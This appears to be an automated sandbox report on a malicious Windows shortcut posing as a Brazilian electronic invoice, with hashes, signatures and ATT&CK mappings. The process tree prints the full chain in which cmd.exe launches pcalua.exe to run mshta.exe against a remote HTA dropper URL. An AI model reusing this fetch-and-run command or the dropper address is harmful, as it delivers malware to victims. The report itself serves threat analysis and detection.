3fc1322e0b58d056d023600d7cf19af819cf1bd088cd733393b0b4417c857dc5

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 12:21

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General

Target
NotaEletronica--HPRMS0.lnk
Size 1KB
Sample260804-pjj86sem6t
SHA256 3fc1322e0b58d056d023600d7cf19af819cf1bd088cd733393b0b4417c857dc5
MD5 d8ad243cf9ad9fa87b90cdd6ce78cb43
SHA1 2b08099dd065deaa2e72b41238e77856ac9c4f6c
SHA512 78fc02d55a452f202bfc6f6b3c34d00efa8ad8ca2a74144b322afe25223a37a0d3d88ccf84c2d38e96a4634e19b9f9162cff5ecb90ec48d86b9a70ff72032695
TLSH
T1003176003EF90660F3B3DE728077A71489BBB8568E108B1E408406481073A01E17EFB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://nfe.alfanotas.com/h/estagio1.php?r=391C7CE85D88

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1088	mshta.exe
6	1088	mshta.exe
8	1088	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4808	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4808 wrote to memory of 936	4808	cmd.exe	90
PID 936 wrote to memory of 1088	936	pcalua.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NotaEletronica--HPRMS0.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4808
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://nfe.alfanotas.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://nfe.alfanotas.com/h/estagio1.php?r=391C7CE85D88"
    3⤵
    - Badlisted process makes network request
    PID:1088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads